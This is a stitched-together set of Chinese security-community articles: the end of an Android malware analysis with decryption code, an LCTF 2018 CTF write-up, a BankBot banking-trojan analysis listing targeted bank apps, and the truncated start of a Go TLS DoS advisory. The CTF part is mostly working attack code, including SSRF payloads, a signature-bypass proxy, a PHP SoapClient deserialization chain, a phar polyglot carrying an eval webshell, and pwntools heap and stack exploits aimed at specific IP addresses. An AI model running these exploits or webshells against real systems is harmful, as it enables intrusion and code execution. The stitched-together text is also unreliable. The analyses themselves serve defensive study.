**流量**
下面显示了其他解密的流量。
设备接收命令“消息”，并向特定电话号码发送SMS消息。
**解决办法**
此示例会被Fortinet AntiVirus签名的Android / Locker.FK！tr 检测到。 我们还向Google报告了此恶意软件使用的GCM
ID。
**结论**
GCM是一个有用的服务，旨在将通知从合法软件开发商推送到客户端。 它也是一把双刃剑，因为这个恶意软件表明攻击者也可以使用它作为其C2基础设施的一部分。
GCM服务似乎被这些Android恶意软件作者滥用作为其C＆C方法的一部分。 我们将继续监控此恶意软件系列的未来活动，以及其他使用GCM的家族。
**附录**
SHA256: 286cbb181204e3c67151766d3c4d969c13ef10350c57ebd71e8bb02423d15609
**解密代码**
package com.example.kailu.myapplication;
/**
* Created by kailu on 12/2/2016.
*/
import android.util.Base64;
import java.security.GeneralSecurityException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class Dcpoxqeg {
static char[] HEX_CHARS;
private Cipher cipher;
public String ezkqxsihndnr;
public String fbxhvatwdljk;
private IvParameterSpec ivspec;
private SecretKeySpec keyspec;
static {
Dcpoxqeg.HEX_CHARS = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
}
public Dcpoxqeg() {
super();
this.fbxhvatwdljk = "q4s6d8tg5x2y8k2l";
this.ezkqxsihndnr = "12k8y2x5gt8d6s4q";
this.ivspec = new IvParameterSpec(this.fbxhvatwdljk.getBytes());
this.keyspec = new SecretKeySpec(this.ezkqxsihndnr.getBytes(), "AES");
try {
this.cipher = Cipher.getInstance("AES/CBC/NoPadding");
return;
}
catch(NoSuchPaddingException v0) {
}
catch(NoSuchAlgorithmException v0_1) {
((GeneralSecurityException) v0_1).printStackTrace();
}
}
public static String bytesToHex(byte[] arg5) {
char[] v0 = new char[arg5.length * 2];
int v1;
for(v1 = 0; v1 < arg5.length; ++v1) {
v0[v1 * 2] = Dcpoxqeg.HEX_CHARS[(arg5[v1] & 240) >>> 4];
v0[v1 * 2 + 1] = Dcpoxqeg.HEX_CHARS[arg5[v1] & 15];
}
return new String(v0);
}
public static byte[] hexToBytes(String arg5) {
byte[] v0 = null;
if(arg5 != null && arg5.length() >= 2) {
int v2 = arg5.length() / 2;
v0 = new byte[v2];
int v1;
for(v1 = 0; v1 < v2; ++v1) {
v0[v1] = ((byte)Integer.parseInt(arg5.substring(v1 * 2, v1 * 2 + 2), 16));
}
}
return v0;
}
private static String padString(String arg6) {
int v1 = 16 - arg6.length() % 16;
int v0;
for(v0 = 0; v0 < v1; ++v0) {
arg6 = arg6 + 'u0000';
}
return arg6;
}
public byte[] uebmdofgszp(String arg8) throws Exception {
if(arg8 != null && arg8.length() != 0) {
try {
arg8 = Base64.encodeToString(arg8.getBytes(), 0);
this.cipher.init(1, this.keyspec, this.ivspec);
return this.cipher.doFinal(Dcpoxqeg.padString(arg8).getBytes());
}
catch(Exception v1) {
throw new Exception("[uebmdofgszp] " + v1.getMessage());
}
}
throw new Exception("Empty string");
}
public byte[] yrvietanugbdowl(String arg10) throws Exception {
byte[] v0;
if(arg10 != null && arg10.length() != 0) {
try {
this.cipher.init(2, this.keyspec, this.ivspec);
v0 = Base64.decode(this.cipher.doFinal(Dcpoxqeg.hexToBytes(arg10)), 0);
if(v0.length > 0) {
int v4 = 0;
int v2;
for(v2 = v0.length - 1; v2 >= 0; --v2) {
if(v0[v2] == 0) {
++v4;
}
}
if(v4 <= 0) {
return v0;
}
byte[] v3 = new byte[v0.length - v4];
System.arraycopy(v0, 0, v3, 0, v0.length - v4);
v0 = v3;
}
}
catch(Exception v1) {
throw new Exception("[yrvietanugbdowl] " + v1.getMessage());
}
return v0;
}
throw new Exception("Empty string");
}
}
package com.example.kailu.myapplication;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Dcpoxqeg test = new Dcpoxqeg();
try {
decryptdata(test, ”aca8ff261bbe67b29e0b3e56e41148ec47952d87d097f02d901b7478c5185bc6”);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void decryptdata(Dcpoxqeg test, String data){
byte[] ret = new byte[0];
try {
ret = test.yrvietanugbdowl(data);
} catch (Exception e) {
e.printStackTrace();
}
Log.d("TEST", "original data = " + new String(ret));
}
} | 社区文章 |
Blog: <https://blog.rois.io/lctf-2018-writeup/>
## Web
### Travel
这题的信息搜集手法很有意思，可以说，针对目前所有的云服务商均可以使用这一方法来进行一定程度上的信息搜集。
首先是关键部分的代码：
@app.route('/upload/<filename>', methods = ['PUT'])
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' or pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text = True))
return "1"
return "0"
@app.route('/', methods = ['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try:
response = requests.get(url, timeout = 10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"
我们可以看出，这题的意思非常明显了。`pwd`变量 == 网卡地址，获得这个值即可任意文件写入。而获取这个值的方法是SSRF。
一般来说，获取网卡地址，需要一个任意文件读取来配合，以便读取`/sys/class/net/eth0/address`。在这里，如果题目是使用PHP的话几乎一下子就能做出来了。但题目是Python
+
`requests`库。`requests`库的底层是`urllib`，而没有任何扩展的`urllib`仅支持`http`和`https`协议，因此我们没有办法读取任意文件。
——但这是CTF题目，我们查一查IP，就能发现是腾讯云的机器。既然是云服务商，那么通常就会有一个metadata的API。例如，Amazon
EC2，就可以通过 <http://169.254.169.254> 来获取metadata，而所有基于OpenStack搭建的云服务也都使用这个地址。
因此，让我们搜索腾讯云的文档，很容易就能搞出payload：<http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac>
接着是下一个坑点。使用PUT上传数据，发现被405了……
观察POST和PUT的提示，发现它们不同，因此可以确认是Nginx层面上禁止了PUT。Flask对这个问题有解决方案，即`X-HTTP-Method-Override`头。直接写上即可。后面的内容相对偏向脑洞了。直接通过任意文件写+目录穿越写一个SSH Key。（第一次见到写SSH Key的……）
### EZ OAuth
本题用到的漏洞比较神奇，属于手滑了就很容易写出的逻辑漏洞。
首先是登录后发现必须要用`pwnhub.cn`域名的邮箱。参考Google CTF
2016的题解，猜测它只判断`includes('pwnhub.cn')`而不是`equal('pwnhub.cn')`，因此搞个域名邮箱绕过邮箱验证。
后台发现有个两个接口，分别是`/user/check`和`/admin/auth`。后者没参数，前者的参数分别为`domain`和`email`，且`domain`为隐藏参数。
猜测其为验证服务器，将其改为自己的服务器，得知服务器发送数据；再本地模拟一下，得知服务器返回信息。发现这里有个极度麻烦的sign签名验证，经过测试，其至少和`request-id`和`email`存在关联。因此，我们很难修改回包。因为没有任何可控数据，也无法进行哈希长度扩展攻击。另外，我们发现`/admin/auth`也有一个隐藏的`domain`参数，其除了请求API以外，发送的数据和接受的数据与`/user/check`相同。
既然签名算法无法逆向，那只能进行大胆猜测了。我们不知道`result`参数是否有在被签名的范围之内，如果它没有呢？
——写个代理，从API获取签名返回值，然后把`result`篡改为true，即可绕过验证，拿到flag。
const express = require('express')
const axios = require('axios')
const app = express()
const bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({extended: false}))
app.use((req, res, next) => {
const { host, ...headers} = req.headers
delete headers['content-length']
axios.request({
url: `https://lctf.1slb.net/api/user/isAdmin`,
method: 'POST',
headers,
data: Object.keys(req.body).map(k => `${k}=${req.body[k]}`).join('&')
}).then(p => {
const data = p.data
data.result = true
res.end(JSON.stringify(data))
})
});
app.listen(23456)
这个题目挺有意思的，揭示了一个黄金原则：未将关键参数纳入签名范围内的签名 = 废纸。
### bestphp's revenge
这题和XCTF Final的Web很像，后来问了一下果然是一个出题人……
首先是有个index.php。
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
这里的两个`call_user_func`都要求调用一个「有且只能有一个必选参数，且参数类型必须为数组」的函数。很显然，第一个`call_user_func`可以直接控制整个数组，但第二个`call_user_func`只能控制数组的第一个元素。
然而这里不知道要干啥，扫描可发现flag.php：
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
攻击链很明确了：想办法使用这两个`call_user_func`构造一个SSRF出来访问flag.php，让flag.php把flag写入自己的session。
现在需要查一下能用什么函数：
1. 能接收一个array参数，且能直接写文件 / 反序列化的PHP函数只有`session_start`。
2. 只有`SoapClient`可以通过反序列化来发起一个http请求，但还需要任意一个`__call()`调用。
因此攻击链就是：
1. 第一次访问页面：通过`session_start`将一个序列化的`SoapClient`写入Session。
2. 第二次访问页面：通过`extract`让`$b == call_user_func`，调用`SoapClient->__call()`。
Payload如下：
1. SoapClient序列化字符生成
<?php
$target = "http://127.0.0.1/flag.php";
$post_string = 'CYTEST';
$headers = array(
'Cookie: PHPSESSID=CYTEST'
);
$b = new SoapClient(null,array('uri'=>$target, 'location' => $target,'user_agent'=>'cytest^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('"SoapClient":5','"SoapClient":6',$aaa);
$aaa = str_replace(';}',';s:1:"C";s:1:"Y',$aaa);
echo urlencode($aaa);
2. 第一次访问页面，写入Session：
POST /?f=session_start&name=上面生成的代码 HTTP/1.1
Host: kali:8001
Connection: close
Cookie: PHPSESSID=CYTEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
serialize_handler=php_serialize
1. 第二次访问页面，反序列化并SSRF。
POST /?f=extract HTTP/1.1
Host: 172.81.210.82
Connection: close
Cookie: PHPSESSID=CYTEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
b=call_user_func
之后就可以直接get flag了。
### T4lk 1s ch34p
攻击链过于明确，生成一个伪装成gif的phar上传文件就是。
<?php
class K0rz3n_secret_flag {
protected $file_path = '/var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif';
}
$a = new K0rz3n_secret_flag();
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php echo 1;eval($_GET["a"]);?'.'><?php __HALT_COMPILER(); ?'.'>');
$phar->setMetadata($a);
$phar->stopBuffering();
之后直接访问
[http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif&a=phpinfo(](http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif&a=phpinfo\());
就能getshell了。`compress.zlib`是用于绕过`^phar`的正则检测的。
### L playground2
利用如图特性可目录穿越……
之后就能拿源码了。
拿到源码后，发现需要Cookie伪造，阅读 `hash.py` 的`MDA`
class MDA:
def insert(self, inBuf):
self.init()
self.update(inBuf)
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
`grouping` 把 `inBufGroup`
中的每个字符都单独计算hash，因此前后字符对应的hash是无关联的。所以，找到`admin`对应的hash，即找 a, d, m, i, n
每个字符对应的hash。
多发几个包就ok了。
aYKp9
b962d95efd252479
e630b0372a4c511f
8c6a8874d01df770
414ec94d852dac00
0c61993750547727
KdA0k
8c6a8874d01df770
84407154c863ef36
af028d5ff3351a09
ee2d222f32215974
85281413c94bf01e
FemI5
0c13310650467719
4c38032c903bb70e
e80346042c47531a
2575a34f6948901b
6a45a255ae48d51b
JeeiR
c451045c08252f78
4c38032c903bb70e
4c38032c903bb70e
6e1beb0db216d969
6b042d0caf7bd64e
85K0n
4428201f883baf0e
6a45a255ae48d51b
8c6a8874d01df770
ee2d222f32215974
b020cd1cf4031b57
MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57
### God of domain-pentest
其实这题没做出来，就是来分享一个骚操作：
<https://github.com/zsxsoft/reGeorg> A modified reGeorg for One-line PHP
Shell.
用于本题有奇效。
## Pwn
### easy_heap
from pwn import *
context.update(os='linux', arch='amd64')
def alloc(size = 0, cont = ''):
p.sendlineafter("which command?\n> ", "1")
p.sendlineafter("size \n> ", str(size))
p.sendlineafter("content \n> ", cont)
def delete(idx):
p.sendlineafter("which command?\n> ", "2")
p.sendlineafter("index \n> ", str(idx))
def show(idx):
p.sendlineafter("which command?\n> ", "3")
p.sendlineafter("index \n> ", str(idx))
def exit():
p.sendlineafter("which command?\n> ", "4")
def exploit(p):
# leak
for x in range(10):
alloc()
for x in [9, 8, 7, 6, 5, 3, 1, 0, 2, 4]:
delete(x)
for x in range(8):
alloc()
alloc(0xf8) # ID = 2
alloc() # ID = 0
for x in [0, 2, 3, 4, 5, 6, 9, 1]:
delete(x)
show(8)
libc.address = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00')) - 0x3ebca0
oneshot = libc.offset_to_vaddr(0x4f322)
log.info("libc.address = %s"%hex(libc.address))
# tcache dup
for x in range(7):
alloc()
alloc(0xf8, 'duplicated')
# now ID_8 == ID_9, we can do tcache attack
for x in [1, 2, 3, 4]:
delete(x)
delete(8)
delete(0)
delete(9)
alloc(0x8, p64(libc.sym['__free_hook']))
alloc(0x8, 'id\x00')
alloc()
alloc(0x8, p64(oneshot))
delete(1)
p.interactive()
if __name__ == '__main__':
# p = process('./easy_heap', env={"LD_PRELOAD":"./libc64.so"})
p = remote("118.25.150.134", 6666)
libc = ELF("./libc64.so")
exploit(p)
### just_pwn
from pwn import *
context.log_level = 'debug'
p = process('./just_pwn')
q = remote('118.25.148.66','2333')
p.sendlineafter('3.Exit\n','1')
p.recvline()
k = p.recvline()
q.sendlineafter('3.Exit\n','1')
q.recvline()
l = q.recvline()
print k#得到9999的加密结果
p.close()
q.sendlineafter('3.Exit\n','2')
q.sendafter('Enter your secret code please:\n',k)
def leak(off):
q.sendlineafter('4.hit on the head of the developer\n------------------------\n','3')
q.sendlineafter('Confirm? y to confirm\n','y')
q.sendafter('tell me why do want to buy my software:\n','a'*off)
q.recvuntil('a'*off)
leak = u64(q.recvuntil('But I think your reason is not good.\n',drop = True).ljust(8,'\x00'))
return leak
q.sendlineafter('4.hit on the head of the developer\n------------------------\n','3')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','n')
q.sendlineafter('Confirm? y to confirm\n','y')
q.sendlineafter('tell me why do want to buy my software:\n','a'*0x8)
q.recvuntil('a'*0x8)
leak = u64(q.recv(8))
canary = leak - 0xa
print hex(canary)
q.sendlineafter('4.hit on the head of the developer\n------------------------\n','3')
q.sendlineafter('Confirm? y to confirm\n','y')
q.sendafter('tell me why do want to buy my software:\n','a'*0xc8+p64(canary)+'a'*8+'\x2c\x52')
q.interactive()
## Re
r6: input
// strlen(input) == 0x1c
0: 95 00 00 00 30 00 00 00 00 00 00 00 1C 00 00 00 mov r3, 0x1c
1: 97 00 00 00 10 00 00 00 mov r1, [r6]
2: 9B 00 00 00 10 00 00 00 cmp r0, r1
3: 9E 00 00 00 05 00 00 00 je off_7
4: 94 00 00 00 30 00 00 00 dec r3
5: 99 00 00 00 inc r6
6: A1 00 00 00 09 00 00 00 jmp off_1
7: 9B 00 00 00 32 00 00 00 cmp r2, r3
8: 9F 00 00 00 04 00 00 00 jne off_10
9: 95 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 mov r0, 0x1
10: A3 00 00 00 ret
// for i=0; i<0x1c; i++
// input[i] = (input[i]*0x3f+0x7b)%0x80
0: 92 00 00 00 00 00 00 00 mov eflags, r0;
1: 9F 00 00 00 01 00 00 00 jnz off_2
2: A3 00 00 00 ret
3: 95 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 mov r0, 0x80
4: 95 00 00 00 20 00 00 00 00 00 00 00 3F 00 00 00 mov r2, 0x3F
5: 95 00 00 00 30 00 00 00 00 00 00 00 7B 00 00 00 mov r3, 0x7B
6: 95 00 00 00 40 00 00 00 00 00 00 00 1C 00 00 00 mov eflags, 0x1c
7: 97 00 00 00 10 00 00 00 mov r1, [r6]
8: 8D 00 00 00 12 00 00 00 mul r1, r2
9: 8B 00 00 00 13 00 00 00 add r1, r3
10: 8F 00 00 00 10 00 00 00 mod r1, r0
11: 98 00 00 00 10 00 00 00 mov [r6], r1
12: 99 00 00 00 inc r6
13: 94 00 00 00 40 00 00 00 dec eflags
14: 87 00 00 00 40 00 00 00 push eflags
15: 92 00 00 00 40 00 00 00 mov eflags, eflags
16: 9F 00 00 00 01 00 00 00 jnz off_18
17: A3 00 00 00 ret
18: 8A 00 00 00 40 00 00 00 pop eflags
19: A1 00 00 00 16 00 00 00 jmp off_7
20: A3 00 00 00 ret
21: 00 00 00 00 nop
22: 00 00 00 00 nop
// [0x3e,0x1a,0x56,0x0d,0x52,0x13,0x58,0x5,0x6e,0x5c,0xf,0x5,0x46,0x7,0x9,0x52,0x2,0x5,0x4c,0xa,0xa,0x56,0x33,0x40,0x15,0x07,0x58,0xf][::-1]
0: 92 00 00 00 00 00 00 00 mov eflags, r0;
1: 9F 00 00 00 01 00 00 00 jnz off_3
2: A3 00 00 00 ret
3: 86 00 00 00 00 00 00 00 3E 00 00 00 push 0x3e
4: 86 00 00 00 00 00 00 00 1A 00 00 00 push 0x1a
5: 86 00 00 00 00 00 00 00 56 00 00 00 push 0x56
6: 86 00 00 00 00 00 00 00 0D 00 00 00 push 0x0d
7: 86 00 00 00 00 00 00 00 52 00 00 00 push 0x52
8: 86 00 00 00 00 00 00 00 13 00 00 00 push 0x13
9: 86 00 00 00 00 00 00 00 58 00 00 00 push 0x58
10: 86 00 00 00 00 00 00 00 5A 00 00 00 push 0x5a
11: 86 00 00 00 00 00 00 00 6E 00 00 00 push 0x6e
12: 86 00 00 00 00 00 00 00 5C 00 00 00 push 0x5c
13: 86 00 00 00 00 00 00 00 0F 00 00 00 push 0xf
14: 86 00 00 00 00 00 00 00 5A 00 00 00 push 0x5a
15: 86 00 00 00 00 00 00 00 46 00 00 00 push 0x46
16: 86 00 00 00 00 00 00 00 07 00 00 00 push 0x7
17: 86 00 00 00 00 00 00 00 09 00 00 00 push 0x9
18: 86 00 00 00 00 00 00 00 52 00 00 00 push 0x52
19: 86 00 00 00 00 00 00 00 25 00 00 00 push 0x25
20: 86 00 00 00 00 00 00 00 5C 00 00 00 push 0x5c
21: 86 00 00 00 00 00 00 00 4C 00 00 00 push 0x4c
22: 86 00 00 00 00 00 00 00 0A 00 00 00 push 0xa
23: 86 00 00 00 00 00 00 00 0A 00 00 00 push 0xa
24: 86 00 00 00 00 00 00 00 56 00 00 00 push 0x56
25: 86 00 00 00 00 00 00 00 33 00 00 00 push 0x33
26: 86 00 00 00 00 00 00 00 40 00 00 00 push 0x40
27: 86 00 00 00 00 00 00 00 15 00 00 00 push 0x15
28: 86 00 00 00 00 00 00 00 07 00 00 00 push 0x07
29: 86 00 00 00 00 00 00 00 58 00 00 00 push 0x58
30: 86 00 00 00 00 00 00 00 0F 00 00 00 push 0xf
31: 95 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mov r0, 0x0
32: 95 00 00 00 30 00 00 00 00 00 00 00 1C 00 00 00 mov r3, 0x1c
33: 97 00 00 00 10 00 00 00 mov r1, [r6]
34: 8A 00 00 00 20 00 00 00 pop r2
35: 9B 00 00 00 12 00 00 00 cmp r1, r2
36: 9E 00 00 00 01 00 00 00 jz off_38
37: A3 00 00 00 ret
38: 99 00 00 00 inc r6
39: 94 00 00 00 30 00 00 00 dec r3
40: 92 00 00 00 30 00 00 00 mov eflags, r3
41: 9F 00 00 00 05 00 00 00 jnz off_5
42: 95 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 mov r0, 1
43: A3 00 00 00 ret
44: A1 00 00 00 15 00 00 00
enc_flag = [0x3e,0x1a,0x56,0x0d,0x52,0x13,0x58,0x5a,0x6e,0x5c,0x0f,0x5a,0x46,0x07,0x09,0x52,0x25,0x5c,0x4c,0x0a,0x0a,0x56,0x33,0x40,0x15,0x07,0x58,0x0f][::-1]
def encode(x):
return (x*0x3f+0x7b)%0x80
def crack(target):
ret = []
for x in range(256):
if encode(x) == target:
ret.append(x)
return ret
def gen_flag():
flag = ''.join([chr(crack(x)[0]) for x in enc_flag])
return flag
if __name__ == '__main__':
print gen_flag()
## Misc
### 签到题
### 问卷
有点难，`goo.gl`网站打不开。 | 社区文章 |
# 警惕一大波银行类木马正在靠近，新型BankBot木马解析
## **背景**
来自安全公司Dr.Web的研究人员说，最近一个未命名的Android银行木马源代码在地下黑客论坛遭到了泄露。就在近期，阿里聚安全检测到大量新型BankBot家族木马，木马伪装成Good
Weather、Flash Plаyеr、Play Мapкeт、follon.weather等应用，可劫持全球至少50家大型银行手机用户。
**特点：**
新型BankBot木马配置灵活，执行开关受服务端控制；根据C&C端下发的指令进行远程控制；窃取用户隐私，对全球多家金融类app劫持，钓鱼登录界面，进而截获、捕捉用户输入数据，最终非法入侵用户互联网账户系统。
**木马运行流程如下：**
## **是否触发恶意代码**
BankBot木马启动后会请求C&C端，判断是否执行恶意代码，若服务端返回非“0”则执行恶意代码。
该木马直接隐藏图标，并启动核心服务ge45g45gsdfsadfg，该服务使用CUP唤醒锁可常驻后台。
## **核心服务**
控制电源状态为PARTIAL_WAKE_LOCK模式和使用CPU时钟锁，使核心服务常驻后台。恶意行为如下：
* 强制激活设备管理；
* 上传当前木马运行环境，包括：设备基本信息、是否管理激活、是否存在锁屏密码、是否短信拦截，用户安装的银行类app名；
* 服务端下发指令实施远程控制；
* 启动劫持服务
**下图上传木马运行环境**
↑ 上传设备状态
↑ 上传已安装银行app
上传数据由自身加密算法编码，解密结果：3592500503912**:1:1:0、3592500503912**:(中国联通)+86186670157**:4.4.2:cn:|AlfaB_RU|
|paypal||UBank|:Nexus 5
(hammerhead):Demom.上传数据告诉控制端当前设备ID、木马已拿到管理激活、设备存在锁屏密码、还未配置短信拦截、用户已安装AlfaB、paypal、UBank银行app。
随后C&C端返回控制指令，指令解析如下。
## **劫持分析**
当受害人打开合法银行app时，该木马监控到此行为，加载伪装的银行页面
,并覆盖真实银行app界面。对于界面劫持攻击，最重要的一步就是诱骗受害者进入他们伪造的登录界面，因此，假冒的银行登录窗口得与原生窗口非常相似，让用户很难区分真伪。
另外的一些钓鱼界面。
受害者的设备ID是与木马控制端交互的标示号，并根据受害人设备上的银行app在控制端准备伪造的登录界面。全世界各大金融app都无幸免，包括知名的Paypal、American
Express、英国巴克莱银行、苏格兰皇家银行等：
at.bawag.mbanking
at.easybank.mbanking
at.spardat.netbanking
at.volksbank.volksbankmobile
com.rbs.mobile.android.rbs
com.isis_papyrus.raiffeisen_pay_eyewdg
au.com.bankwest.mobile
au.com.ingdirect.android
au.com.nab.mobile
com.commbank.netbank
org.banksa.bank
org.stgeorge.bank
org.westpac.bank
com.db.mm.deutschebank
com.barclays.android.barclaysmobilebanking
com.starfinanz.mobile.android.dkbpushtan
com.starfinanz.smob.android.sbanking
com.starfinanz.smob.android.sfinanzstatus
de.adesso.mobile.android.gad
de.comdirect.android
de.commerzbanking.mobil
de.consorsbank
de.dkb.portalapp
de.fiducia.smartphone.android.banking.vr
de.ing_diba.kontostand
de.postbank.finanzassistent
mobile.santander.de
com.IngDirectAndroid
com.arkea.android.application.cmb
com.arkea.android.application.cmso2
com.boursorama.android.clients
com.cacf.MonCACF
com.caisseepargne.android.mobilebanking
com.cic_prod.bad
com.cm_prod.bad
com.fullsix.android.labanquepostale.accountaccess
com.groupama.toujoursla
com.lbp.peps
com.macif.mobile.application.android
com.ocito.cdn.activity.creditdunord
fr.axa.monaxa
fr.banquepopulaire.cyberplus
fr.banquepopulaire.cyberplus.pro
fr.creditagricole.androidapp
fr.lcl.android.customerarea
fr.lemonway.groupama
mobi.societegenerale.mobile.lappli
net.bnpparibas.mescomptes
com.comarch.mobile
com.getingroup.mobilebanking
com.konylabs.cbplpat
eu.eleader.mobilebanking.pekao
eu.eleader.mobilebanking.raiffeisen
pl.bzwbk.bzwbk24
pl.bzwbk.mobile.tab.bzwbk24
pl.eurobank
pl.ing.ingmobile
pl.mbank
pl.pkobp.iko
wit.android.bcpBankingApp.millenniumPL
com.akbank.android.apps.akbank_direkt
com.finansbank.mobile.cepsube
com.garanti.cepsubesi
com.pozitron.iscep
com.tmobtech.halkbank
com.vakifbank.mobile
com.ykb.android
com.ziraat.ziraatmobil
ca.bnc.android
com.americanexpress.android.acctsvcs.us
com.chase.sig.android
com.cibc.android.mobi
com.citi.citimobile
com.clairmail.fth
com.coinbase.android
com.creditkarma.mobile
com.discoverfinancial.mobile
com.fi9228.godough
com.firstpremier.mypremiercreditcard
com.infonow.bofa
com.jpm.sig.android
com.moneybookers.skrillpayments
com.paybybank.westernunion
com.paypal.android.p2pmobile
com.pnc.ecommerce.mobile
com.suntrust.mobilebanking
com.tdbank
com.td
com.transferwise.android
com.unionbank.ecommerce.mobile.android
com.usaa.mobile.android.usaa
com.usb.cps.axol.usbc
com.wf.wellsfargomobile
me.doubledutch.rbccapitalmarkets
↑ 劫持sdk<=22设备
下图通过读取android系统下proc文件夹的相关信息，获取sdk>22 设备的顶层应用包名。
↑ 获取sdk>22顶层包名
如果当前运行应用与待劫持的银行应用匹配，恶意代码将联系C&C服务端来返回仿冒的银行登录界面，并利用webview加载。如打开银行应用com.garenti.cepsubesi，木马会发出packageName＋deviceId的请求来接受钓鱼页面。此恶意软件钓鱼页面都以HTML来布局，可推测该黑产由网站钓鱼转型移动app劫持钓鱼。
分析发现在钓鱼页面内插入了一段js，可将用户输入的银行账号密码发送到服务端。
↑ 钓鱼界面
↑ 提交用户输入
该木马通过远程指令可打开短信拦截开关，截取银行发送的认证短信，并从短信箱删除银行消息。
攻击者顺利截获受害者银行账号、密码、校验短信，成功绕过双因素认证，这样受害者不仅仅构造成了一个可以被攻击者控制的移动僵尸网络，更成了攻击者的天然提款机，如同自己私人银行一般。
## **安全建议**
1. 用户下载应用请到官方网站或安全应用市场，切勿点击任何色情链接，尤其是短信、QQ、微信等聊天工具中不熟识的“朋友”发来的链接。
2. 如果不确定手机是否毒，可以安装阿里钱盾等手机安全软件，对手机上的应用进行检测，防止高风险恶意应用的安装。
* * *
#### **作者：逆巴@阿里聚安全**
#### 更多阿里安全类技术文章，请访问
**[阿里聚安全官方博客](http://jaq.alibaba.com/community/index.htm?spm=a313e.7916648.0.0.cVTYFy)** | 社区文章 |
# Golang TLS双向身份认证DoS漏洞分析（CVE-2018-16875）
##### 译文声明
本文是翻译文章，文章原作者 apisecurity，文章来源：apisecurity.io
原文地址：<https://apisecurity.io/mutual-tls-authentication-vulnerability-in-go-cve-2018-16875/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
如果程序源代码使用Go语言编写，并且用到了单向或者双向TLS认证，那么就容易受到CPU拒绝服务（DoS）攻击。Go语言的[crypto/x509](https://golang.org/pkg/crypto/x509/)标准库中的校验算法存在逻辑缺陷，攻击者可以精心构造输入数据，使校验算法在尝试验证客户端提供的TLS证书链时占用所有可用的CPU资源。
为了保护正常服务，大家应立即[升级](https://golang.org/dl/)到G0 v1.10.6、v1.11.3或者更新版本。
## 二、研究背景
42Crunch的API Security平台后端采用的是微服务架构，而微服务使用Go语言编写。微服务之间通过`gRPC`相互通信，并且部署了REST
API网关用于外部调用。为了确保安全性，我们遵循了“TLS everywhere”（处处部署TLS）原则，广泛采用了TLS双向认证机制。
Go的标准库原生支持SSL/TLS认证，也支持大量与连接处理、验证、身份认证等方面有关的x509和TLS原语。这种原生支持可以避免外部依赖，使用标准化的、经过精心维护和审核的TLS库也能降低安全风险。
因此42Crunch很有可能受此TLS漏洞影响，需要理解漏洞原理，保证42Crunch平台的安全性。
[42Crunch](https://42crunch.com/?__hstc=78516299.9bfa945cadc784e497dec7184be754c2.1545287465739.1545287465739.1545287465739.1&__hssc=78516299.1.1545287465740&__hsfp=3096875632)安全团队针细致分析了该CVE，如下文所示。
## 三、问题描述
这个DoS问题最早由Netflixx发现，Golang在issue跟踪日志中提到：
> `crypto/x509`包负责解析并验证X.509编码的密钥和证书，正常情况下会占用一定的资源来处理攻击者提供的证书链。
>
> `crypto/x509`包并没有限制验证每个证书链时所分配的工作量，攻击者有可能构造恶意输入，导致CPU拒绝服务。Go
> TLS服务器在接受客户端证书或者TLS客户端在验证证书时会受此漏洞影响。
该漏洞具体位于[crypto/x509
Certificate.Verify()](https://golang.org/pkg/crypto/x509/#Certificate.Verify)函数的调用路径中，该函数负责证书认证及验证。
## 四、漏洞分析
### 背景知识
为了便于漏洞分析，我们举个简单的例子：TLS客户端连接至TLS服务器，服务器验证客户端证书。
TLS服务器在`8080`端口监听TLS客户端请求，验证客户端证书是否由证书颁发机构（CA）颁发：
caPool := x509.NewCertPool()
ok := caPool.AppendCertsFromPEM(caCert)
if !ok {
